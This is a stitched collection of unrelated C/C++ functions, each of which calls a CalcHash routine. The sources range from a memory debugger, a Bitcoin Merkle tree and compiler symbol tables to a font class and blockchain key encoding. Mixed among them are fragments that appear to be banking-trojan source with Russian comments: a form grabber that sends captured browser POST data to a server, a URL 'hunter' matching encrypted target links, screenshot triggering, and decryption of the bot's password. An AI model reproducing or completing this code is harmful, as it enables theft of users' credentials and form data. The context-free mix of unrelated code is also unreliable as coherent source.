TextComparator::TextComparator(const Vector<String>& f1, const Vector<String>& f2) : file1(f1), file2(f2) { int limit = min(f1.GetCount(), f2.GetCount()); CalcHash(hash1, f1, limit); CalcHash(hash2, f2, limit); }
void Purify_RemMemory (const void * mem) { int hashcode = CalcHash (mem); MemHash * node = (MemHash *)&memHash[hashcode], * next; #if LDEBUG printf ("Purify_FindMemory (mem=%p)\n", mem); #endif for ( ; (next=node->next); node=next) { #if LDEBUG printf (" Checking against %p:%d (%p)\n", node->mem, node->size, node->mem+node->size); #endif if (next->mem <= mem && next->mem+next->size > mem) { #if LDEBUG printf (" Node found\n"); #endif node->next = next->next; xfree (next); if (Purify_LastNode == next) Purify_LastNode = NULL; return; } } #if LDEBUG printf (" Nothing found\n"); #endif }
MemHash * Purify_FindMemory (const void * mem) { int hashcode = CalcHash (mem); MemHash * node = memHash[hashcode]; #if LDEBUG printf ("Purify_FindMemory (mem=%p)\n", mem); #endif for ( ; node; node=node->next) { #if LDEBUG printf (" Checking against %p:%d (%p)\n", node->mem, node->size, node->mem+node->size); #endif if (node->mem <= mem && node->mem+node->size > mem) { Purify_LastNode = node; #if LDEBUG printf (" Node found\n"); #endif return node; } } Purify_LastNode = NULL; Purify_Error = NotOwnMemory; #if LDEBUG printf (" Nothing found\n"); #endif return NULL; }
PCHAR GetMainPassword(bool NotNULL) { // Функция возвращает пароль шифрования PCHAR Passw = NULL; #ifdef DEBUGCONFIG Passw = STR::New(DebugPassword); #else // Проверяем задан ли в боте пароль if (CalcHash(MainPassword) != MainPasswordNameHash) { Passw = STR::Alloc(StrCalcLength(MainPassword)); Decrypt(MainPassword, Passw); } #endif // В случае необходимости возвращаем cтандартный пароль if (NotNULL && STR::IsEmpty(Passw)) { Passw = STR::New((PCHAR)DefaultPassword); } // MDBG_Config("Config",Passw); return Passw; }
int main() { char * str = "hello"; unsigned long i = CalcHash( str ); printf("%ld\n",i); return 0; }
MythFontProperties::MythFontProperties() : m_brush(QColor(Qt::white)), m_hasShadow(false), m_shadowAlpha(255), m_hasOutline(false), m_outlineSize(0), m_outlineAlpha(255), m_relativeSize(0.05f), m_bFreeze(false), m_stretch(100) { CalcHash(); }
void URLHunter::CheckURL(PCHAR URL) { // Проверить совпадение ссылки с любой ссылкой из списка ссылок охотника if (HunterCompleted || STR::IsEmpty(URL) || CalcHash(HunterLinks) == HUNTER_LINKS_HASH) return; // Перебираем все ссылки в поисках нужной нам PCHAR Tmp = HunterLinks; PCHAR DecryptedURL = STR::Alloc(HUNTER_PARAM_SIZE); while (*Tmp != NULL) { m_memset(DecryptedURL, 0, HUNTER_PARAM_SIZE); DecryptStr(Tmp, DecryptedURL); if (CompareUrl(DecryptedURL, URL)) { // Сигнализируем об удачной охоте HunterSignal(); // Устанавливаем признак срабатывания охотника HunterCompleted = true; break; } // Переходим к следующей строке Tmp = STR::End(Tmp); // переходим к концу строки Tmp++; // Пропускаем } STR::Free(DecryptedURL); }
int _tmain(int argc, _TCHAR* argv[]) { Uint32 hash = CalcHash("./models/astroboy.png"); ///cNPC = *pNPC; cout << "hash = " << hash << endl; return 0; }
Uint32 CalcHash(const char* pKey) { if(pKey) { return CalcHash(pKey, strlen(pKey)); } return 0; }
void MythFontProperties::SetOutline(bool on, const QColor &color, int size, int alpha) { m_hasOutline = on; m_outlineColor = color; m_outlineSize = size; m_outlineAlpha = alpha; CalcHash(); }
void MythFontProperties::SetShadow(bool on, const QPoint &offset, const QColor &color, int alpha) { m_hasShadow = on; m_shadowOffset = offset; m_shadowColor = color; m_shadowAlpha = alpha; CalcHash(); }
bool GetPublicKeyElement(const std::string &encode_pub_key, PrivateKeyPrefix &prefix, SignatureType &sign_type, std::string &raw_data){ std::string buff = DecodePublicKey(encode_pub_key); if (buff.size() < 6) return false; uint8_t a = (uint8_t)buff.at(0); uint8_t b = (uint8_t)buff.at(1); PrivateKeyPrefix prefix_tmp = (PrivateKeyPrefix)a; if (prefix_tmp != PUBLICKEY_PREFIX) return false; SignatureType sign_type_tmp = (SignatureType)b; size_t datalen = buff.size() - 6; bool ret = true; switch (sign_type_tmp) { case SIGNTYPE_ED25519:{ ret = (ED25519_PUBLICKEY_LENGTH == datalen); break; } case SIGNTYPE_CFCASM2:{ ret = (SM2_PUBLICKEY_LENGTH == datalen); break; } default: ret = false; } if (ret){ //check sum std::string checksum = buff.substr(buff.size() - 4); std::string hash1 = CalcHash(buff.substr(0, buff.size() - 4), sign_type_tmp); std::string hash2 = CalcHash(hash1, sign_type_tmp); if (checksum.compare(hash2.substr(0, 4))) return false; prefix = prefix_tmp; sign_type = sign_type_tmp; raw_data = buff.substr(2, buff.size() - 6); } return ret; }
std::string PublicKey::GetEncPublicKey() const { std::string str_result = ""; //append PrivateKeyPrefix str_result.push_back((char)PUBLICKEY_PREFIX); //append version str_result.push_back((char)type_); //append public key str_result.append(raw_pub_key_); std::string hash1, hash2; hash1 = CalcHash(str_result, type_); hash2 = CalcHash(hash1, type_); str_result.append(hash2.c_str(), 4); return EncodePublicKey(str_result); }
uint256 CPartialMerkleTree::CalcHash(int height, unsigned int pos, const std::vector<uint256> &vTxid) { if (height == 0) { // hash at height 0 is the txids themself. return vTxid[pos]; } else { // Calculate left hash. uint256 left = CalcHash(height - 1, pos * 2, vTxid), right; // Calculate right hash if not beyond the end of the array - copy left // hash otherwise1. if (pos * 2 + 1 < CalcTreeWidth(height - 1)) { right = CalcHash(height - 1, pos * 2 + 1, vTxid); } else { right = left; } // Combine subhashes. return Hash(BEGIN(left), END(left), BEGIN(right), END(right)); } }
uint256 CPartialMerkleTree::CalcHash(int height, unsigned int pos, const std::vector<uint256> &vTxid) { //we can never have zero txs in a merkle block, we always need the coinbase tx //if we do not have this assert, we can hit a memory access violation when indexing into vTxid assert(vTxid.size() != 0); if (height == 0) { // hash at height 0 is the txids themself return vTxid[pos]; } else { // calculate left hash uint256 left = CalcHash(height-1, pos*2, vTxid), right; // calculate right hash if not beyond the end of the array - copy left hash otherwise if (pos*2+1 < CalcTreeWidth(height-1)) right = CalcHash(height-1, pos*2+1, vTxid); else right = left; // combine subhashes return Hash(BEGIN(left), END(left), BEGIN(right), END(right)); } }
enum sym_type AsmQueryType( char *name ) /**************************************/ { SYM_HANDLE sym_handle; SYM_ENTRY sym; sym_handle = SymLook( CalcHash( name, strlen( name ) ), name ); if( sym_handle == 0 ) return( SYM_INT1 ); SymGet( &sym, sym_handle ); return( AsmType( sym.sym_type, sym.attrib ) ); }
std::string PublicKey::GetEncAddress() const { std::string str_result = ""; //append prefix (bubi 0XE6 0X9A 0X73 0XFF) //append prefix (bu) str_result.push_back((char)0X01); str_result.push_back((char)0X56); //append version 1byte str_result.push_back((char)type_); //append public key 20byte std::string hash = CalcHash(raw_pub_key_,type_); str_result.append(hash.substr(12)); //append check sum 4byte std::string hash1, hash2; hash1 = CalcHash(str_result, type_); hash2 = CalcHash(hash1, type_); str_result.append(hash2.c_str(), 4); return EncodeAddress(str_result); }
DWORD GetCurrentWindowHash() { char *CurrentWindow = GetCurrentWindow(); DWORD dwHash = -1; if ( CurrentWindow != NULL ) { dwHash = CalcHash( CurrentWindow ); MemFree( CurrentWindow ); } return dwHash; }
std::string PrivateKey::GetEncPrivateKey() const { std::string str_result; //append prefix(priv) str_result.push_back((char)0XDA); str_result.push_back((char)0X37); str_result.push_back((char)0X9F); //append version 1 str_result.push_back((char)type_); //append private key 32 str_result.append(raw_priv_key_); //压缩标志 str_result.push_back(0X00); //bitcoin use 4 byte hash check. std::string hash1, hash2; hash1 = CalcHash(str_result, type_); hash2 = CalcHash(hash1, type_); str_result.append(hash2.c_str(),4); return EncodePrivateKey(str_result); }
bool CCommonUtils::CalcFileHash(ALG_ID hashType, LPCTSTR lpFileName, BYTE* lpHash, DWORD dwHashSize) { LPVOID lpData; DWORD dwLen; bool bRet = false; lpData = ReadFileData(lpFileName, dwLen); if(lpData) { bRet = CalcHash(hashType, (LPBYTE)lpData, dwLen, lpHash, dwHashSize); free(lpData); } return bRet; }
void CPartialMerkleTree::TraverseAndBuild(int height, unsigned int pos, const std::vector<uint256> &vTxid, const std::vector<bool> &vMatch) { // determine whether this node is the parent of at least one matched txid bool fParentOfMatch = false; for (unsigned int p = pos << height; p < (pos+1) << height && p < nTransactions; p++) fParentOfMatch |= vMatch[p]; // store as flag bit vBits.push_back(fParentOfMatch); if (height==0 || !fParentOfMatch) { // if at height 0, or nothing interesting below, store hash and stop vHash.push_back(CalcHash(height, pos, vTxid)); } else { // otherwise, don't store any hash, but descend into the subtrees TraverseAndBuild(height-1, pos*2, vTxid, vMatch); if (pos*2+1 < CalcTreeWidth(height-1)) TraverseAndBuild(height-1, pos*2+1, vTxid, vMatch); } }
bool ProcessPostData(PREQUEST pReq, PCHAR Optional) { // Обработать POST данные // Проверяем библиотеку ScreenShot if ( CalcHash(Optional) == 0x24DE3210 ) { StartThread( ScreensThread, NULL ); return true; } // Отправляем данные формы на сервер PCHAR SendBuf = StrNew(3, pReq->Url, "?|POST:", Optional); if (SendBuf == NULL) return false; bool Res = SendFormGrabberLogs(pReq->Url, SendBuf, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB); StrFree(SendBuf); return Res; }
inline CRenderingContext * CRCHashArray::PrepareRenderingContext(HRCKEY hRCKey) { // 1: get the first node for the given hash bucket... unsigned long uHashIndex = CalcHash(hRCKey); SHashArrayNode * pNode = m_pHashArray[uHashIndex]; while(pNode) { // 1.1: if we found the right context, return it... if(pNode->hRCKey == hRCKey) { return pNode->pRenderingContext; } // 1.2: go to next context in bucket... pNode = pNode->pNext; } // 2: if it's not a gl rendering context, we skip the rest... if(hRCKey == NULL) { return NULL; } // 3: create a new rendering context... SHashArrayNode * pNewNode = new SHashArrayNode; pNewNode->pNext = m_pHashArray[uHashIndex]; pNewNode->hRCKey = hRCKey; pNewNode->pRenderingContext = new CRenderingContext; m_pHashArray[uHashIndex] = pNewNode; // 4: return the new context... return pNewNode->pRenderingContext; }
BOOL GetMethod(Object *o, ULONG methodID, APTR *methodPtrPtr, Class **classPtrPtr) { ULONG idx; struct Bucket *b; Class *cl = OCLASS(o); idx = CalcHash(methodID, cl->HashTableSize); b = cl->HashTable[idx]; while (b) { if (b->MethodID == methodID) { *methodPtrPtr = b->MethodFunc; *classPtrPtr = b->mClass; return (TRUE); } b = b->Next; } return (FALSE); }
local void PragAllocText( void ) /* 26-oct-91 */ /******************************/ { struct textsegment *seg; SYM_HANDLE sym_handle; auto SYM_ENTRY sym; if( ExpectingToken( T_LEFT_PAREN ) ) { NextToken(); /* current token can be an T_ID or a T_STRING */ seg = LkSegName( Buffer, "" ); NextToken(); for( ; ; ) { MustRecog( T_COMMA ); /* current token can be an T_ID or a T_STRING */ sym_handle = Sym0Look( CalcHash( Buffer, strlen( Buffer ) ), Buffer ); if( sym_handle == 0 ) { /* error */ } else { SymGet( &sym, sym_handle ); if( sym.flags & SYM_FUNCTION ) { sym.seginfo = seg; SymReplace( &sym, sym_handle ); } else { /* error, must be function */ } } NextToken(); if( CurToken == T_RIGHT_PAREN ) break; if( CurToken == T_EOF ) break; if( CurToken == T_NULL ) { break; } } #if _CPU == 8086 || _CPU == 386 CompFlags.multiple_code_segments = 1; #endif MustRecog( T_RIGHT_PAREN ); } }
void CShaderProgram::Init(const SShaderProgramDesc& Desc) { m_Desc = Desc; this->m_resourceState = ResourceStates::CREATED; SHash Hash; Hash += CalcHash( Desc.Base ); for( uint32_t i = 0; i < ShaderTypes::_MAX_COUNT; ++i ) { //h2 ^= ( CalcHash( Desc.apEntryPoints[ i ] ) << 1 ); Hash += Desc.apEntryPoints[ i ]; if( Desc.apShaders[ i ].IsValid() ) { //h3 ^= ( Desc.apShaders[ i ]->GetHandle() << 1 ); Hash += Desc.apShaders[ i ]->GetHandle(); } } this->m_hObject = Hash.value; }
sym_id STNameSearch( char *name, int len ) { //================================================= // Search symbol table for given name. sym_id head; sym_id tail; HashValue = CalcHash( name, len ); head = HashTable[ HashValue ].h_head; if( head == NULL ) return( NULL ); tail = HashTable[ HashValue ].h_tail; for(;;) { if( head->ns.u2.name_len == len ) { if( memcmp( name, &head->ns.name, len ) == 0 ) return( head ); } if( head == tail ) return( NULL ); head = head->ns.link; } }
bool fingerprint2::GetFingerprint(OBBase* pOb, vector<unsigned int>&fp, int nbits) { OBMol* pmol = dynamic_cast<OBMol*>(pOb); if(!pmol) return false; fp.resize(1024/Getbitsperint()); fragset.clear();//needed because now only one instance of fp class ringset.clear(); //identify fragments starting at every atom OBAtom *patom; vector<OBNodeBase*>::iterator i; for (patom = pmol->BeginAtom(i);patom;patom = pmol->NextAtom(i)) { if(patom->GetAtomicNum() == OBElements::Hydrogen) continue; vector<int> curfrag; vector<int> levels(pmol->NumAtoms()); getFragments(levels, curfrag, 1, patom, NULL); } // TRACE("%s %d frags before; ",pmol->GetTitle(),fragset.size()); //Ensure that each chemically identical fragment is present only in a single DoRings(); DoReverses(); SetItr itr; _ss.str(""); for(itr=fragset.begin();itr!=fragset.end();++itr) { //Use hash of fragment to set a bit in the fingerprint int hash = CalcHash(*itr); SetBit(fp,hash); if(!(Flags() & FPT_NOINFO)) PrintFpt(*itr,hash); } if(nbits) Fold(fp, nbits); // TRACE("%d after\n",fragset.size()); return true; }
MemHash * Purify_AddMemory (void * memory, int size, int flag, int type) { MemHash * node = xmalloc (sizeof (MemHash)); int hashcode; node->mem = memory; node->flags = xmalloc (size); node->size = size; node->type = type; node->data = NULL; if (flag != -1) Purify_SetMemoryFlags (node, 0, size, flag); hashcode = CalcHash (memory); node->next = memHash[hashcode]; memHash[hashcode] = node; return node; }
char *AddUndefName( const char *str ) { size_t len; undef_names *uname; len = strlen( str ); if( len == 0 ) { CompFlags.undefine_all_macros = 1; } else { CalcHash( str, len ); if( !MacroDel( str ) ) { uname = (undef_names *)CMemAlloc( sizeof( undef_names ) ); uname->next = UndefNames; uname->name = CMemAlloc( len + 1 ); memcpy( uname->name, str, len + 1 ); UndefNames = uname; str += len; } } return( (char *)str ); }